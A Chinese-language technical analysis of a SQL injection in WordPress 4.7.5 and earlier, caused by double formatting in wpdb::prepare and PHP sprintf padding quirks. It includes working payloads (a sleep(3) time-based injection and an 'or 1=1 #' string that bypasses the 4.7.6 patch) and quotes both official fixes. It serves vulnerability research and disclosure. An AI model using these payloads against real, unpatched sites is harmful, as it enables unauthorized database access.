在wordpress版本<=4.7.5的版本中爆出了一个sqli注入漏洞，漏洞发生在WP的后台上传图片的位置，通过修改图片在数据库中的参数，以及利用php的sprintf函数的特性，在删除图片时，导致'单引号的逃逸。漏洞利用较为困难。
跟踪调试文件， 先来到upload.php 删除图片的地方：
case 'delete':
if ( !isset( $post_ids ) )
break;
foreach ( (array) $post_ids as $post_id_del ) {
if ( !current_user_can( 'delete_post', $post_id_del ) )
wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
if ( !wp_delete_attachment( $post_id_del ) )
wp_die( __( 'Error in deleting.' ) );
}
$location = add_query_arg( 'deleted', count( $post_ids ), $location );
break;
这之前有两次验证_wpnonce的地方，因此一定要得到_wpnonce才能继续下去
进入wp_delete_attachment( $post_id_del ) 函数， $post_id_del是图片的postid
在post.php 4778行的wp_delete_attachement函数的地方， 调用了delete_metadata 函数，
delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
漏洞触发点主要在wp-includes/meta.php 的 delete_metadata函数里面， 有如下代码:
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
该语句执行的sql语句是下面这句，调用prepare函数把$meta_key 传给$s参数位置， 但该语句存在明显的字符拼接：$value_clause
$wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key )
我们来看下$value_clause拼接的参数：
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
拼接的参数同样调用了prepare函数，我们来看下prepare函数:
public function prepare( $query, $args ) {
if ( is_null( $query ) )
return;
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
}
$args = func_get_args();
array_shift( $args );
// If args were passed as an array (as in vsprintf), move them up
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
array_walk( $args, array( $this, 'escape_by_ref' ) );
return @vsprintf( $query, $args );
}
有意思的是prepare函数先把'%s'替换为%s,再把%s 替换为'%s', 然后调用vsprintf函数格式化字符串
我们来看下sprintf(vsprintf同sprintf)函数的语法
<?php
$s = 'monkey';
$t = 'many monkeys';
printf("[%010s]\n", $s);
printf("[%'#10s]\n", $s);
printf("[%\'#10s]\n", $s);
printf("[%'110s]\n", $s);
?>
>>>
[0000monkey]
[####monkey]
[1111monkey]
['#10s]
可以看到sprintf 中的占位符% 后面如果是单引号，那么单引号后的一个字符会作为padding填充字符串。
如果我们改变meta_value的值位22%1$%s and sleep(3)#
经过第一个vsprintf的处理后变成
AND meta_value = '22%1$'%s' and sleep(3)#'
第一次拼接后又进入一次sprintf函数，此时的sql语句为:
"SELECT $type_column FROM $table WHERE meta_key = %s AND meta_value = '22%1$'%s' and sleep(3)#'", $meta_key
经过prepare处理后的语句为:
"SELECT $type_column FROM $table WHERE meta_key = '_thumbnail_id' AND meta_value = '22_thumbnail_id' and sleep(3)#'"
格式化后把%1$'%s 替换为_thumbnail_id(单引号后面的%被当作一个padding字符了，而不是占位符), 这样就逃逸出了一个单引号了，这个SQL注入不会报错，只能使用延时注入，而且需要后台的上传权限，所以利用起来比较困难。
vsprintf更广泛的漏洞利用，不检查字符类型
vprintf/printf还有一个更加严重的问题，对格式化的字符类型没做检查。
在php的格式化字符串中，%后的一个字符(除了'%',%%相当于转义了%)会被当作字符类型，而被吃掉，单引号，斜杠\也不例外。
翻看源码, ext/standard/formatted_print.c
switch (format[inpos]) {
case 's': {
zend_string *t;
zend_string *str = zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring(&result, &outpos,
ZSTR_VAL(str),
width, precision, padding,
alignment,
ZSTR_LEN(str),
0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case 'd':
php_sprintf_appendint(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment,
always_sign);
break;
case 'u':
php_sprintf_appenduint(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment);
break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
php_sprintf_appenddouble(&result, &outpos,
zval_get_double(tmp),
width, padding, alignment,
precision, adjusting,
format[inpos], always_sign
);
break;
case 'c':
php_sprintf_appendchar(&result, &outpos,
(char) zval_get_long(tmp));
break;
case 'o':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 3,
hexchars, expprec);
break;
case 'x':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 4,
hexchars, expprec);
break;
case 'X':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 4,
HEXCHARS, expprec);
break;
case 'b':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 1,
hexchars, expprec);
break;
case '%':
php_sprintf_appendchar(&result, &outpos, '%');
break;
default:
break;
}
可以看到， php源码中只对15种类型做了匹配， 其他字符类型都直接break了，php未做任何处理，直接跳过，所以导致了这个问题
没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\（或%1$\）被替换为空
<?php
$input = addslashes("%1$' and 1=1#");
echo $input;
echo "\n";
$b = sprintf("AND b='%s'",$input);
echo $b;
echo "\n";
$sql = sprintf("select * from t where a='%s' $b",'admin');
echo $sql;
>>>
%1$\' and 1=1#
AND b='%1$\' and 1=1#'
select * from t where a='admin' AND b='' and 1=1#'
格式字符%后面会吃掉一个\即%1$\被替换为空，逃逸出来一个单引号，造成注入.
总结
漏洞利用条件
- sql语句进行了字符拼接
- 拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串
官方补丁
在wordpress4.7.6的修复中是这样的，prepare函数;
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents
array_walk( $args, array( $this, 'escape_by_ref' ) );
return @vsprintf( $query, $args );
只是多了一行：$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query );
这个正则的意思就是只允许 %后面出现dsF 这三种字符类型， 其他字符类型都替换为%%\\1, 而且还禁止了%, $ 这种参数定位， 基本meta_value 参数是完全过滤掉了
然而补丁是可以被绕过的, 补丁的思路是正确的， 然而官方只是修复了格式化字类型没有检测的错误，用白名单对字符类型进行过滤， 却并没有修复prepare两次格式化字符串的漏洞，导致补丁可以进一步被绕过， 如下demo:
function prepare($query,$args){
$query = str_replace( "'%s'", '%s', $query );
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query );
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query );
// preg_match('/%(?:%|$|([^dsF]))/',$query,$matchs);
// var_dump($matchs);
$query = vsprintf($query, $args);
return $query;
}
$meta_value = ' %s ';
$query = " and meta_value= %s ";
$query = prepare($query,$meta_value);
echo $query;
$meta_key = ['dump',' or 1=1 #'];
$sql = "select * from table where meta_key = %s $query";
$sql = prepare($sql,$meta_key);
echo $sql;
>>>
and meta_value= ' %s '
select * from table where meta_key = 'dump' and meta_value= ' ' or 1=1 #' '
meta_value 只是传入一个简单的%s,(注意前后两个空格,否则无法绕过第一个替换), 符合白名单的要求，然后在meta_key的位置传入payload: or 1=1 /* , meta_value 传入的%s经过两次格式化字符串后变成'' %s '', 自动闭合了前一个单引号，导致绕过
在wordpress 4.7.7中已经修复了该问题, 补丁如下。
$allowed_format = '(?:[1-9][0-9]*[$])?[-+0-9]*(?: |0|\'.)?[-+0-9]*(?:\.[0-9]+)?';
$query = str_replace( "'%s'", '%s', $query ); // Strip any existing single quotes.
$query = str_replace( '"%s"', '%s', $query ); // Strip any existing double quotes.
$query = preg_replace( '/(?<!%)%s/', "'%s'", $query ); // Quote the strings, avoiding escaped strings like %%s.
$query = preg_replace( "/(?<!%)(%($allowed_format)?f)/" , '%\\2F', $query ); // Force floats to be locale unaware.
$query = preg_replace( "/%(?:%|$|(?!($allowed_format)?[sdF]))/", '%%\\1', $query ); // Escape any unescaped percents.
// Count the number of valid placeholders in the query.
$placeholders = preg_match_all( "/(^|[^%]|(%%)+)%($allowed_format)?[sdF]/", $query, $matches );
if ( count( $args ) !== $placeholders ) {
if ( 1 === $placeholders && $passed_as_array ) {
// If the passed query only expected one argument, but the wrong number of arguments were sent as an array, bail.
wp_load_translations_early();
_doing_it_wrong( 'wpdb::prepare', __( 'The query only expected one placeholder, but an array of multiple placeholders was sent.' ), '4.9.0' );
return;
} else {
/*
* If we don't have the right number of placeholders, but they were passed as individual arguments,
* or we were expecting multiple arguments in an array, throw a warning.
*/
wp_load_translations_early();
_doing_it_wrong( 'wpdb::prepare',
/* translators: 1: number of placeholders, 2: number of arguments passed */
sprintf( __( 'The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d).' ),
$placeholders,
count( $args ) ),
'4.8.3'
);
}
}
array_walk( $args, array( $this, 'escape_by_ref' ) );
$query = @vsprintf( $query, $args );
return $this->add_placeholder_escape( $query );
}
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